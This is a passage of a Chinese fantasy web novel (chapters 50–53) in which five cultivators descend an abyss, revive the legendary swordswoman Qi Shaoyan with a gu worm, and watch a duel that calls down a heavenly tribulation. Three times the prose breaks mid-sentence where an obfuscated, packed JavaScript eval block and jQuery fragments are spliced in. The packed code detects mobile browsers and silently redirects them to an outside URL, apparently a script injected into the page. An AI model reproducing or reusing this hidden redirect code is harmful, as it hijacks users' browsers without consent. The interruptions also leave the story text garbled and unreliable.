“下去很危险,若是遇上什么,恐怕难以躲避。”祝来月转头,看向他。
但她也赞同贺今羽所说的方法。
“我们既然来到此地,便已是做了不归的准备。”贺今羽看着她,目光沉着冷静,在他脸上看不到一丝恐惧。
旁边的羿修和聂琴机也附和了一句。
“没错,我可不怕。”
“祝姑娘不必多虑,我等既然作为江湖中一人,便随时都准备好了为人界兴亡付出一切。”
聂琴机虽然脸色苍白,身材瘦削,却心存苍生。
邱水怜不发一语,但她的神色也无疑说明了她的认同。
“好。”祝来月对着他们说道,不知为何,她的内心竟然隐隐生出不少激动澎湃的心情。
“我先在前探路。”贺今羽说完,便抽出白羽剑,准备先行御剑下去。
祝来月连忙拦住他,“等等,我和你一起。”她的神力目前还无法使用,要爬下这样陡峭的深渊实在不是易事,和贺今羽一起御剑是最好的选择。
邱水怜和聂琴机都会轻功,羿修自不必说,他凭着力量都可以轻易爬下去。只要这戾杀渊的悬崖壁算结实。
为了安全起见,五人都尽量保持着统一的速度往下,避免落单。
于是祝来月提议让他们之中轻功略差些的聂琴机在羿修和邱水怜的前面,这样也可以最大限度的保留体力。
如果说方才的外围至少还有人走过,虽有不少人在那里折戟,但也有少数人活着离开。而他们此刻进入的正是戾杀渊本身。
此地不但敢进入的人极少,活着出来的更是一个都没有。
最先进入的那几位,恐怕便是七百年前,当时的七大势力派出的顶尖高手的尸身吧,对了,还有戚少雁。
但窦然说,戚少雁还活着。
还给了祝来月一件东西,她怎么也没想到一个酒楼掌柜身上会有这种东西。
那是一条蛊虫,是一种蛊的子蛊。
这种蛊,名曰涅槃。
50. 涅槃
戾杀渊的外围妖气横生,荒芜遍野,一片死寂。但戾杀渊里面却有一些植物存在。
他们下行的路途中,看到陡峭的悬崖峭壁上常有一些树横生在崖壁上,便在树上休息片刻。
戾杀渊比他们想象得要更深许多。
他们的行进速度绝对远远超过寻常人族,然而在他们筋疲力尽,歇在树上三回后,仍然看不到一点底时,即使是他们,也不禁有了些许担忧。
这戾杀渊真的有底吗?每个人都在心中这样自问。
这会儿,他们统一在一棵歪脖子树上休息,这棵树还算大,坐下五个人之后还有不少空余之地。
这里已然离地面很有些距离了。
越来越昏暗的环境也是证明,阳光几乎快要照不到这里了。
“传说戚少雁一剑斩出戾杀渊,可这渊也太深了些。世上真有这么厉害的剑法?”羿修一边揪着树上的叶子消磨时光,一边又问贺今羽:“诶!你能做到吗?”
“……”贺今羽有些沉默。
“看来你也不行嘛。”羿修满是得意地一笑,却又一想,自己两次输给这个人,他不行,岂非代表自己更不行?于是他又忽然止住了笑。
“说起来,你们有没有觉得这深渊愈发宽阔了?”祝来月突然说道。
众人这才发现,因为光线越来越昏暗,他们甚至没有注意到对面的崖壁竟然距离自己这边越来越远了。
可若是正常地斩出一剑,裂痕只会愈发狭窄。
“难道说……”贺今羽像是想到了什么,刚开口便被打断了。
“尸体!”羿修惊呼一声,引来了所有人的目光。
光线昏沉,距离略远些便有点看不清那里的东西,羿修从储物的灵器中掏出一个火折子,吹亮之后靠近了他所说的东西,众人这才得以一睹真容。
这显然是一具过了极长时间的尸体,身上的衣物已经化为尘埃消散,只剩下一具白骨。
但这具骷髅的身上却有一样饰品还完好无损,那件饰品顿时吸引了贺今羽的目光。
羿修也同样注意到了这个特别的东西,作为离残骸最近的人,他弯腰伸手去够那件物品。
拿起之后,他便借着火折子的火光看清了它的面目。
此物一眼便能瞧出是个十分贵重的物品,紫金制成,令牌样式,上面镌刻着一只仙鹤,还有三个字——
“灵霄宗……”羿修念出紫金令牌上的三个字,突然惊奇地喊了一声,“这不是你们灵霄宗的令牌吗?”
说着,他将令牌丢给了贺今羽,贺今羽非常顺利地接到了令牌。
他仔细看了一番之后确认了这就是灵霄宗令牌没错,而且这令牌的主人等级不低,是鹤栖一脉的真传弟子才会拥有的令牌。
这一代,只有景怀卿和祝未璃两个人拥有。
“应是七百年前身殒此地的前辈。”贺今羽总结道,说着,他忽然站了起来。
贺今羽右手呈剑指,白羽剑随之出鞘,在空中划了一个齐整的方形。
突然,对面的崖壁传来一声闷响,在一片昏暗中,他们隐约能看见对面崖壁上落下去几块大石,石头自上而下坠落,一直没能传来落地的声响。
接着,贺今羽小心翼翼地双手捧起尸骨,自横生的树杈上轻轻点地,便纵身来到了对面的崖壁上安稳落下。
他同灵霄宗先人的尸骨一起站在他以白羽剑斩出的方形洞穴内,将它安置在洞穴中后,贺今羽再次施展轻功,迅速地再次刺出一剑。
洞穴被崖壁上落下的碎石封住了口,俨然是一个天然的墓穴。
贺今羽站在树杈上面朝着尸骨的方向,神情肃穆地双膝跪地,连磕了三个响头才算结束了这个仪式。
结束之后,贺今羽仍然不忘刚才想说的话,说道:“此地大约并非戚少雁一己之力斩出,崖壁越发遥远便是证明。”
说着,他向下掷下一个石子,并在上面附着了令其发出光芒的灵力,只见那一点光芒愈来愈小、愈来愈微弱,直到它消失不见,也没能听见一丝石子落地的声响。
“不知还要多久才能找到凶兽的封印之地。”聂琴机看着那块石子消失,不禁有些担忧。
“难不成又是什么幻术么?”羿修忽然提到。
若是眼前的景象是一种障眼法,反倒能让几人感到几分希望,总比望不到头要好得多。
祝来月沉吟不语,半晌,她才说道:“眼下情况复杂,我们不若找一个曾经见过封印之地的人询问一番。”
“祝姑娘,可这世上见过封印之地的人从未再现身过,他们皆是……”琴机说着,眼神忽而飘向才被贺今羽简单葬下的尸骨的的方向。
“戚少雁。”贺今羽看向祝来月,忽然明白了她的用意。
祝来月满意地露出一丝笑意。窦然那日给她子蛊一事,除了她和贺今羽之外,再无其他人知晓。
她并不了解蛊,所以从未听说过什么“涅槃”,只不过在得知此蛊竟然可以使濒死之人复生,她便顿时来了兴趣。
据窦然所言,七百年前,曾有一人在戚少雁临行前种下此蛊,保她肉身千年不腐,护住她的心脉。
只待到有一日,谁将涅槃的子蛊带来,便可使戚少雁身上的母蛊再次焕发生机,正如于滔天烈火的火烬中复生的凤凰一般,于是命名为涅槃。
若是此物闻名于世,恐怕人界又是一场腥风血雨吧。
“戚少雁不是早已身殒此地了么?”羿修问道。
“羿公子可相信人死可以复生?”祝来月没向几位仔细解释。眼下他们患难与共,是一根绳上的蚂蚱。但谁知道从这里离开之后,他们的立场是否会改变?
毕竟涅槃这样的蛊,即使是祝来月也有难忍的向往。
祝来月取出涅槃的子蛊,那只通体似是琉璃般透亮的小虫被关在一个瓷白瓶子里。
子蛊与母蛊之间有着极强的联系,无论是什么蛊都不能例外。
她想到可以利用它们之间的联系去寻找戚少雁的下落。窦然还特意提到了聂琴机,待到涅槃生效之后,聂琴机便可使用月中骞术,真正使得濒死的戚少雁彻底生还。
只要戚少雁活着,关于七百年前那些失传的问题便不攻自破了。
自从祝来月的七片残片合一之后,她同世间万千生灵之间的联系便愈发清晰可见。尽管不到最后的时刻,她还是无法使用神力,但眼下这种亲密的联系已经方便了许多。
即使她没能学习过蛊虫的用法,借助着万生之间的联系,祝来月依旧非常顺利地感受到涅槃的母蛊下落。
只是她也确实没想到,这戚少雁的下落竟然已经很近了。
“贺今羽,我需要你帮我。”她朝着贺今羽说道,“我找到她了,在那里。”她朝着下方深渊中的某一点伸出手指。
顺着她的手指方向只能看到一片漆黑,看上去极远。
但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992060|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贺今羽毫不犹豫地抽出白羽剑,朝着她伸出手,御剑前往祝来月指的方向。
御剑的时间奇短,两人往下行进没多久,便落了地,脚下是实实在在的地面。
原来这深渊实际上并没有他们想象得那么深不见底,而是巧妙地因着昏暗的天色和百折千回的崖壁,才显得没有尽头。
落地之后,祝来月发觉此地荆棘丛生,整个底部几乎长满了这些带着尖刺的植物,有许多祝来月甚至不大叫的上名字,只知道是人界罕有的生于蛮荒之地的植物。
但这些植物又隐隐有几分不同,不像是天然长成,而是人为。
在密密麻麻的灌木里,祝来月仔细感受到母蛊的方向,才发现它就在这些荆棘的正中心。
在她的脑海中,戾杀渊底部的一切都清晰可见,她可以感受到在这些刺人灌木的正中心围绕着一个微弱的生灵迹象,摇摇晃晃,像是雷雨中的半截残烛。
“在哪里?”贺今羽问道。
“中间。”祝来月看向戚少雁的生命迹象出现的地方。
贺今羽甚至不等祝来月替他安排,便迅速朝着荆棘丛刺出一道剑意。
谁知那一丛荆棘像是有着自己的生命似的,躲开了这道寻常修士避无可避的迅猛剑意。
接下去贺今羽又接连使用了许多剑招,然而没有一道能真正伤到这些狡猾的荆棘。即使真让他刺中了,荆棘的枝叶也会以肉眼可见的速度恢复成原状。
“看来对付它们,武力是无法解决的了。”
她忽然想起一种几乎可称作是万能的解法,说时迟那时快,她迅速用短匕在手上划了个口子,再次靠近荆棘时,它们就像是被驯服的猛兽一般,乖乖地给祝来月他们让了路。
这春神的神力还真是方便。作为司掌着万千生灵的句芒,她对这些植物几乎有着压倒性的作用。
祝来月再次默默感叹力量真是一件美妙的东西。自那之后她做许多事都便利多了。
难怪整个人界常常为争夺力量而挑起一次又一次的战争、血雨腥风。
贺今羽走在她身后,从储物的灵器中取出一些药,对她说道:“我来处理伤口。”
因为伤口在她的掌心,祝来月单手并不方便上药和包扎。
“小伤而已,我们先将戚少雁唤醒吧。”她没有回头,只是走在前面。
她说着无妨,却不敢看着贺今羽的眼睛。正如上巳日,荣州城那晚一样。
贺今羽像是早就猜到她会这样说,不由分说地拉过她划伤的手,替她将药粉撒上、包扎,一气呵成。
期间,两人默契地不发一语,只是她也并未抗拒,反倒依着他的意思放缓了脚步,方便他包扎。
待到两人走到荆棘正中央时,祝来月的手上已经扎了一个简洁明了的结。
贺今羽明白她不想将涅槃蛊一事透露给众人,才只叫了他一个来到此地。
才刚靠近这被荆棘包裹的巨大核心,祝来月手中的白瓷瓶子便不安分起来,开始剧烈地抖动。
她揭开白瓷小瓶的盖子,里头的子蛊瞬间飞速窜出,在昏暗的深渊底部散发着惹眼的琉璃色光芒。
只见霎时间光芒大作,两人皆被刺得睁不开眼,周身瞬间感受到强烈的热度,像是置身于一场大火之中。
祝来月勉强一睁眼,才发觉他们真的置身在熊熊大火之中,那些荆棘就在这一眨眼的时间里化为滔天的火,彻底照耀了整个戾杀渊。
51. 谈判
身在火海中的祝来月第一反应是提醒贺今羽,可她还没开口,双脚就脱离了地面,她眼看着那熊熊的火焰距离自己越来越远。
贺今羽右手持剑,左手将祝来月拦腰抱起,在火焰才刚燃起没多久时,他就带着她远离了大火。
她在半空中忽然想起什么似的,又说要回去:“戚少雁还在那里。”
话音未落,底下的火势显然小了许多。这场火忽然出现又突兀地结束,想来就是所谓涅槃的效果吧。
她同贺今羽回到原地,借着幽幽的火光,依稀可见地上的人影。
以及她身上那把闻名天下的铁剑。
戚少雁在某种意义上是贺今羽的向往,这实在很正常,自人界有了戚少雁,天下凡是剑修,没有一个不想着要成为戚少雁这样厉害的剑侠的。
哪怕是灵霄宗此代宗主贺仞,他嘴上常说着什么“能力越大责任越大”,对戚少雁这个不问世事的散修十分鄙夷。但他年轻时候,也曾做过几回自在的剑侠之梦。
可以说,她是每一个剑修的梦想。
其实无论是贺今羽还是祝来月,在得知戚少雁并未死去的那一刻起,就在想象着和这个盖世的剑侠相见的一幕。
可这位影响江湖七百年的剑侠此刻就蜷缩在地上,若非她的胸腔还有着微微的起伏,简直像是一具尸首。
看上去十分脆弱。
祝来月上前,确定她确实还活着之后,便将她扶起。
“去找聂琴机。”她说着,往这个半死不活的身躯中送入一粒丹药,但这种努力无疑是徒然的,那粒丹药在她的嘴中不超过一个呼吸就整个被吐了出来。
贺今羽闻言立刻给聂琴机发了传信,上边的人动作也很麻利,没过多久,三个人便齐齐来到了戾杀渊的底部。
他们看到眼前模样陌生的剑士打扮的女子,先是觉得意外和疑惑,紧接着,三人不约而同地露出一种极度震惊的表情——是的,即使是向来喜怒不形于色的邱水怜也没能例外。
“她……她是?”羿修磕磕巴巴地说道,一副见了鬼的样子。
别说,现在发髻凌乱、面无血色的戚少雁还真有点像是鬼。
“此事之后若有机会,再向诸位解释吧。”祝来月简短地回应了几人的惊诧,转而向聂琴机说道:“聂姑娘,可否请你再使用一次月中骞?”
聂琴机没有怎么犹豫便应下了,“自然可以,但我希望知道她的真实身份。她当真是那个……”
“是的,聂姑娘没有说错。”
戾杀渊、铁剑、女子,联系起来,整个六界只能有一个人——戚少雁。
也许是出于医道的风骨,聂琴机毫不犹豫地对着这个无限接近于尸体的女子使用了极耗费灵力的月中骞,但此刻更多的竟然是对起死回生的好奇。
她想着,等到这人彻底清醒之后,非要问个彻底不可。
月中骞施展时,在一旁的祝来月也可以感受到其中温暖的力量。果然不愧是传闻中可以活死人、肉白骨的“仙术”,戚少雁的脸色很快就浮出几分活人才有的红润。
再一会儿,她紧闭的双眼中的眼珠也开始慢慢地转动,接着,便缓缓地睁开了双眼。
一行五人十分紧张地看着这个跨越了七百年的传奇一般的人物的苏醒,而她恢复意识后的第一句话竟是:
“不可杀!”
突如其来的三个字让每个人都愣住了,祝来月发觉她的神情仓皇恐惧,仿佛遇见了什么无法接受的事。
为了使她尽快安定下来,她上前握住了戚少雁颤抖着的双手,问道:“什么不可杀?”
戚少雁反应奇快,攥紧手中铁剑便飞速退远了十几步的距离,藏在暗处。
“何人?”黑暗中忽然传来这两个字。
尽管她藏在暗处,祝来月还是能够清晰感受到她的方向,并不着急,“戚前辈,你可还记得发生了什么?”
黑暗像是沉默了许久,才忽然出声问道:“今夕何年?”
祝来月不禁感叹于她分析状况的速度,想知道她是怎样问出这个问题的,最终只是告诉她:“七百年了,戚前辈。”
接下来的对话,祝来月本想从她口中套出些有用的线索,但无一例外地被对方迂回的话术绕了进去,反倒被她套了不少信息去。
“你们既然是来解决那只凶兽的,现在就可以回去了。”戚少雁依旧藏在暗处,没有半点想要和他们面对面交谈的意思。
“戚前辈何意?”祝来月反问。
“我能封印它一回,便能封印它第二回。”
“在下敬您是前辈,便不与您争辩,我等来到此地是为了彻底解决凶兽,而不是简单地封印几百年。”羿修心直口快,毫不犹豫地反驳她。
只听见黑暗中传来一声轻蔑的冷哼,五人瞧见她持剑从暗处缓缓走出,脸上漠然,仿佛毫不在意他们的打算。
“戚前辈所说的不可杀之物,便是此极恶之兽吧。”祝来月忽然说道,她并不准备等戚少雁主动承认这件事,就紧接着又说:“促使我找到你的,是荣州城的窦娘。”
在听到“窦娘”二字时,戚少雁的神情显然出现了微妙的变化,“你知道多少?你既然明白,便该知道在此事上我绝无可能让步。”
“若我和戚前辈是一个念头呢?”
祝来月请剩下的几位暂且回避,与戚少雁单独交谈。
“我几乎知道全部,窦娘的长生是与凶兽有着紧密的联系的,对吧?若是凶兽被杀死,窦娘也会随之死去。”也许是时间紧急,祝来月没有打算同她再卖关子。
又或许是因为与这位曾经傲然江湖的前辈卖关子实在很有些小巫见大巫,倒不如直接了当来得爽快。
“窦然是我此生最重要的人。”戚少雁亦然十分直言不讳,“我从来不愿承担拯救苍生之责,那日应下诛灭凶兽的缘由,也只是为了她。”
“难怪传闻中你独身江湖,不与任何门派为伍,却唯独答应此事,即使此事要你付出生命。”
尽管对于戚少雁和窦然之间的情感早有预料,但在得到印证的时候,祝来月还是不禁有些动容。
“可那些前辈却是无辜的……”祝来月想到方才在横尸在树上的灵霄宗前辈的尸身,只是不知其余的前辈们的尸首又在何处。若是他们知道自己拼尽性命还是无用功,恐怕会气得活过来吧。
“我劝过他们,就如方才我希望你们离开此地一样。可江湖人的赤忱倒是千年如一日,七百年前他们不愿退却,今日亦是如此。”
祝来月的内心略微平衡了些,“戚前辈,这些事都已是过去,我等此行绝不会赴前人后尘。”她十分坚定地说道,“我已有了万全之策,不仅永绝后患,还能保全窦娘的性命。只是,她此后恐怕只有寻常人的寿命,再无长生了。”
“若你此言不虚,对于她来说倒是好事。”
诚然,此事祝来月也问过窦娘的想法,她正如戚少雁所说般已经厌倦了这样无休止的生命,只想有一日能等到一个重要之人归来,厮守余生。
祝来月看着眼前憔悴的天下第一剑侠,也许是想起来某个在繁华之城开着酒楼的女子,她不禁微微一笑。
“可我要如何相信你的言辞?”
“若我说我并非来自人界,而是神族,戚前辈可对我有几分信心呢?”
她这话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996286|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
简直像是吹嘘,哪怕是见惯了江湖风浪的戚少雁,此刻也觉得实在荒唐。
可眼前的女子实在不像是在说大话,眼神中是十足的认真。
“口说无凭。”戚少雁没有那么容易说动,仍旧不冷不热地看着她。
祝来月毫不犹豫地向她出示了那块已经得以完整的木雕,上面的纹路隐隐作着绿茵茵的微光,不论距离几米,都能感受到它传出的盎然生机。
“戚前辈定然见过此物吧?”
“是。”戚少雁紧紧盯着她手上神秘的木饰物,确切地说,她只见过它残缺的模样,在窦然的花间楼里。
那时窦然终于对她付诸全部的信任,将过往的痛楚全盘托出。她才见到这块吊着窦然生命的残片。
“仅仅此物,还不足够我信任你。”戚少雁心中已有了动摇,只是仍旧觉得还差些什么。
“戚前辈还需要什么?”
“交换。”她沉默半晌忽然说道,“你手中握着她的性命,我需要一个对你而言最重要的人的性命作为交换。”
最重要的人。祝来月下意识地去思考,这短短的十余年人生,对她来说最重要的人究竟是谁?
是将她养大、没有一日不把她放在心上的养父母,还是璃儿?
又或是那个赠予她芍药的人?
贺今羽直到出发前夕还在同她争执,无论如何都不赞同她去牺牲的计划。
但这一路来,却出奇的听话,既不和她争吵,反倒处处关心她。
思来想去总觉得不对,可她实在没有多余的精力去思考贺今羽究竟想做什么。
“是他们中哪一个?又或者那人并不在四人之中?”戚少雁追问道。
“我绝无欺骗戚前辈的念头,但我也不愿意用任何人的性命同你交换,不管那人对我来说是否重要。”祝来月回答道,她真心认为拿一个人的性命去交换任何都是极不人道的打算。
戚少雁只是冷笑,仿佛见惯了江湖中自诩名门正派之人这般好听的说辞,“既然交易达不成,我也无法让步,请回吧。”
“戚前辈真觉得经过七百年的沉寂,还能封印它么?”
贺今羽忽然从暗处走出,说道。
祝来月闻声回首,不知为何,她忽然觉得眼前这个贺今羽有了几分陌生,他的眼神那么冷冽,简直像是初遇时那个雷雨夜,在雷光闪烁过他的眼睛时,才能看见的彻骨的冷。
“灵霄宗的小辈?”戚少雁用余光一瞥,并不在意。
“既然谈判无用,不妨用江湖人的规矩。”贺今羽说着,缓缓走向原本僵持不下的两人。
祝来月这才发现他的手中紧握着已经出鞘的白羽剑,剑光森然。
“我与前辈论剑,若我胜了,无论前辈是否说出封印之地的下落,我都誓必将那凶兽斩于剑下。”话毕,他看向祝来月,“即使是你,我也决不让步。”
诛灭戾杀渊的极恶之兽——这几乎是贺今羽此生的唯一目标,可以说,他自生下来就是为着这一个目的而挥剑的。
但此时,他想要诛杀这只凶兽似乎又多了别的什么缘由,不只是为了所谓正道的使命。
祝来月终于明了他的想法。
原来他从未放弃这个念头,这些日子不过是在蛰伏,等待着找到凶兽时,再阻止祝来月,接着自己去杀掉它。
“不可以。”
祝来月几乎是同时和戚少雁说出这三个字。
“难道前辈已经相信我会胜出?”贺今羽镇定自若地说道。
“呵。”戚少雁冷笑,她并不习惯放什么狠话,只是默默抽出那把十分普通的铁剑。
“不必多说。”
52. 雷劫
铁剑是戚少雁随身十余年的佩剑,还是她年轻时候学着炼器的第一件作品。
也是最后一件。她忽然觉得她在炼器上实在没有天赋,潜心学习一整年,费尽心血打造出来的也不过是一柄普通得不能再普通的铁剑。
江湖中对于这把剑的传闻却随着她的名气的增长,越传越邪乎,比方说什么看似普通,实则是一柄绝世神剑,得此剑者便可领悟绝世剑意等等。
只有那个分明看不见东西的酒楼掌柜倒是一语道破。
戚少雁想到此处忽然一笑,眼神愈发坚定。
“戚前辈若是有了新的打算,现在还来得及。”贺今羽此话像是挑衅,又像是真切地关心着这个才刚苏醒的憔悴前辈。
戚少雁手中的铁剑暗淡无光,不及贺今羽手上那把白羽剑半点锋利。
可贺今羽却半点不能放松警惕,白羽剑的剑柄处,因他握得实在太紧实,微微附着了些许汗迹。
祝来月突如其来地开口说道:“贺今羽,够了,这是我自己的决定,不需要你来插手。”
贺今羽还是头一次在她口中听到这样强硬的语气,不由得为之一愣。但他的执念胜过了这点犹豫。
顷刻间,他手中的白羽剑朝着戚少雁的方向刺去。
天底下的剑法大抵都有些花哨的成分,然而贺今羽此刻却完全舍弃了那些虚的部分,只留下最后最实在的一刺或是一斩。
戚少雁沉着地应对着这些迅疾的剑招,并不着急挥剑,像是在摸索他剑法中的规律。
她自然是和灵霄宗的人对决过的,毋庸置疑。灵霄宗是她那个时代的七大宗门中唯一一门以剑修为主的,而她又有个天下第一剑侠的名头,招致了不少灵霄宗的人与她过招。
她甚至比有些灵霄宗的弟子都要更熟悉灵霄宗的鹤栖剑法。
可眼前这位灵霄宗之人所用的剑法却全然不是她熟悉的鹤栖剑法。
难道他并非灵霄宗的一员?可他腰身上分明坠着一块独属于灵霄宗的令牌,看材质和纹样,那是唯有少宗主或是戒律长老才会拥有的紫金令牌。
此人年纪绝无可能是戒律长老,那么也只有少宗主了。
但凭借着过人的剑法直觉,戚少雁没花多少时候就找到了他剑法中的规律。
于是,她忽而转变躲避的身形,开始进攻。
戚少雁的剑法既不同于传统的鹤栖剑法一篇那般柔和使人放松警惕,也不同于贺今羽自创的鹤栖剑法二篇那般凌厉直接。
铁剑朴实无华,戚少雁的剑法便是稳重宽厚如同一块坚硬无比的巨石,或是一座沉稳的山。
只见白羽剑迅速地在空中挥舞了数次,速度远胜于离弦之箭,旁观的祝来月几乎只能看到它的虚影。
然而戚少雁却不疾不徐地尽数接下这些近乎无形的剑意,极其游刃有余。
她的下盘像是一棵大树的硕大根部般牢牢地扎根在地上,自她将贺今羽的招式观察得差不多起,便再没闪躲过一下,只是站在原地不停地挥剑,与贺今羽打得有来有往。
祝来月看得太过震惊,以至于竟然忘了要阻止他们的对决。
难以想象这是一个沉睡七百年的憔悴之人能做到的程度。
那么她的巅峰时刻呢?贺今羽能同她过上几招?
祝来月和贺今羽的心中几乎同时产生了这个念头。
他很快将这个念头撇去,对决中的剑是不容许有半分犹疑的,若是他自认技不如人,那么败局就已经定下了。
可他绝不认同他的剑意逊色于她。
贺今羽忽然放缓了出剑的速度,这是他开始思考对策的象征。
鹤栖剑法二篇是不完整的,他本有意自创七式,与原本的鹤栖剑法的七式作出呼应,然而第七式却迟迟没能诞生在他的剑下。
从前贺今羽全意力求速战速决,自创的六式剑招皆是有如雷霆般迅猛。
然而在与戚少雁过招的当下,他忽然发觉仅仅求速是远远不够的。
雷霆的灵感来源于惊蛰,那一声惊雷响彻整个人界,才开始四季之初的春季。
他忽然心中一动,整个人的周身开始不断地涌起剑意,手上的剑却不停,天地忽然随之变色。
戾杀渊之深,阳光几乎照不进来,所以整个戾杀渊的底部都环绕在一片漆黑中。
可当他的剑意堆砌得愈发强烈,几乎凭着那点剑意便能轻易斩平一座大山时。他忽然停下了手中的剑。
剑芒朝着天际,剑意散发出如同雷电般的金色辉光,直向穹顶而去。
霎时间整个天地充斥着耀眼的剑光,连对面的戚少雁都不禁微微闭起了眼睛,随着强大剑意而来的还有一股飓风,折断了戾杀渊里所有树木,那些断树纷纷落入深渊底部,扬起灰尘。
第七式已成。
贺今羽在心中默默念道这一式的名字:“入天阙。”
剑芒随着他的心声而动,笔直朝着戚少雁破风而去。
这一剑几乎撕裂天地,将阳光引入戾杀渊的底部,不见天日的戾杀渊内部此刻亮如白昼。
戚少雁在滔天般的剑意中勉强保持了下盘的稳定,一边挥出铁剑准备应下此招。
她将全部的灵力注入那柄陪伴她多年的铁剑之内,使它变得无比坚硬。铁剑比寻常的剑要更宽一些,她将铁剑竖起,呈现盾式。
不同于方才的游刃有余,此刻她显然很是吃力,为了接下这一招,她已经是全力以赴了。
入天阙结合了传统的鹤栖剑法与他自创的剑法的特点,真正做到了惊蛰般的剑意,剑风好似春风般和煦,但剑中杀意却比从前的六式都要更加剧烈。
贺今羽有自信,哪怕是全盛时期的戚少雁也未必能安然无恙地接下此招。
忽然,遥远的天穹之上忽然出现令人惧怕的雷电,天空中漂浮的云也逐渐变得阴沉,仿佛无限下坠到接近人界的地面似的。
哪怕位于千里之外的灵霄山脉也看到了这如同末世般恐怖的天象。
灵霄宗如今最有威望的人并不是宗主贺仞,而是上一代的戒律长老,也就是收养景怀卿的人。
贺仞一般称呼他为景师叔。
景师叔一般隐居在灵霄山脉某座小丘深处,除了景怀卿和宗主、贺今羽之外,没有人能进去打扰他。
可当天象突生异变时,他却在一个呼吸内来到了灵霄山脉主峰的松山之巅,在贺今羽曾经接受雷刑的霹雳引边上,他望着远方黑压压的天空,面色沉重地抚着长长的白色胡须。
景师叔的身边忽然又出现了两人,宗主贺仞、以及他名义上的养子景怀卿。
“景师叔。”贺仞尊敬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017139|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地称呼他,“这天象莫不是……”
“天劫。”景师叔没有回头看贺仞,只是望着那个方向,忽然感慨万千般长叹了一声:“唉——我门的霹雳引在天劫面前果然不过尔尔,只是不知今羽他能否扛下……”
“您是说,这天劫是今羽招致的?”贺仞心头顿时涌起千万情绪,往常的严肃平静一扫而空,连眉头都不禁微微颤抖。
惊喜?担忧?又或是对于孩子成长的感慨?贺仞不知如何描述这种情绪。诚然,他就是一个不知如何处理全部情绪的人。
两年前让贺今羽受下雷刑,除了让他知错,更多的,是希望他能在之后面对天劫时能多几分底气。
灵霄宗自有史以来,能引来天劫的人寥寥无几,能平安渡过天劫的更是少之又少。
可若今羽渡过天劫,灵霄宗的天下第一宗的宝座定能再稳坐数百年。
“可师叔是如何确定那天劫是他引来而非旁人?那个方向此刻聚集的可都是人界最优的天才。”
景师叔倏尔大笑出声:“天才?如今的江湖中能称为天才的人不过今羽一人。”
他的言下之意太明确了,无论是震云派的羿修又或是琼心门的邱水怜,在他眼中什么都不是。
哪怕是他养大的景怀卿亦是如此。
他说此话的同时,景怀卿皱着眉看向他,不发一语。
戾杀渊内,同样震惊的人还有羿修等人。
他们本因回避祝来月和戚少雁的谈话而在不远处等待,可不知何时起,贺今羽不见了。
紧接着便是那股耀眼的光芒照耀了整个戾杀渊,再接下去就是这古怪的天象。
“什么情况?”羿修瞪着眼睛看黑沉沉的天空,脱口而出道。
“我也从未见过此种状况。”聂琴机捂着心口,感受到心脏跳动得愈来月快,她隐隐觉得不安,总觉得不是好事。
他们之中最见多识广的无疑是邱水怜,可即使是她,此刻也犹豫着判断当下的情况。
天地几乎要合拢般无限靠近,那骇人的雷电像是近在咫尺般闪动着。
贺今羽和戚少雁专注于对决,对其他情况毫无察觉。
戚少雁拼尽全力想要接下那一剑,却感到体内的灵力正在迅速地消失殆尽,只这一瞬的松懈,迎面而来的剑意顿时将她掀飞了数十米远。
“贺今羽。”祝来月终于回过神来,喊了他一声。
胜败已定,他也无意再去同戚少雁对决。
祝来月跑到戚少雁的身侧,去扶她起来,关切地问道:“戚前辈,没事吧?”
戚少雁的脸色比刚苏醒时还要苍白许多,身上却没有什么伤痕。
“没事。”她勉强坐起,摆摆手,同时,她注意到了天象的异变,眸中顿时充满了震惊。
“天劫?”她略有些失声地说道。
天劫是人族想要升至仙界的唯一途径。唯有修炼的天赋远胜于旁人、又有仙缘之人才能引来天劫。
而要成仙,必须要渡过三次天劫。
第一劫乃是雷劫,这是固定的劫。而剩余的两劫却因人而异。
据江湖中的记载,有的人的第二劫乃是情劫,亦有生劫,或是别的什么。
戚少雁曾经引来过两次天劫。两次她都安然接下了,但第三次天劫却迟迟未能出现。
53. 血湖
每个修士的最终目标都是去往仙界,位列仙班。
戚少雁面上淡泊名利,极少与人来往,在这点上却也没能免俗。
可死过一回后,她反倒对升仙一事没了念头。
但眼前这样年轻的少年郎却能引来他的第一道天劫,哪怕是已经看淡一切的戚少雁也不禁隐隐有了几分嫉妒。
“这是天劫?”祝来月同样震惊地反问道。
戚少雁忽然释然,点点头,“是的,倒是极有几分实力。”她有种“后生可畏”的感慨,被这样有天赋的小辈打败,她也不算太丢面子。
尽管她并不是那么好面子的人。
“怎么偏偏是现在……”不同于诸人的惊喜或是感慨,祝来月只有些难以接受。
